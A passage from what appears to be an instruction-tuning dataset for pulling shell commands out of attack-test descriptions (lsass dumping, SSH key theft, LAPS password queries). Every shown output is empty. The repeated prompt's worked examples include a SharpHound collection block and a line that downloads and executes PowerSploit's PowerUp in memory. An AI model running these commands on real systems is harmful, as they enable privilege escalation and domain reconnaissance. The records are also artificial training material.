https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. \nThis technique was seen in DarkGate malware as part of its installation.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure\npowershell implementation that leverages the MiniDumpWriteDump Win32 API call.\nUpon successful execution, you should see the following file created $env:TEMP\\lsass_*.dmp.\n\nAuthor of Out-Minidump: Matthew Graeber (@mattifestation)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    \"This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. \n\nUsing `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\\\"Is it on or off?\\\"), `firewall` for common application allow rules, and `explicitauths` for specific rules configured by the user. \n\nUsing `socketfilterfw`, flags such as --getglobalstate or --listapps can be used for similar filtering. At least one flag is required to send parseable output to standard out. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Manipulate Admin Account Name\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Query the registry to determine the version of internet explorer installed on the system.\nUpon execution, version information about internet explorer will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Changes a file or folder's permissions using chmod and a specified symbolic mode.\n",
    "output": "{\"command_list\": []}"
  },
  {
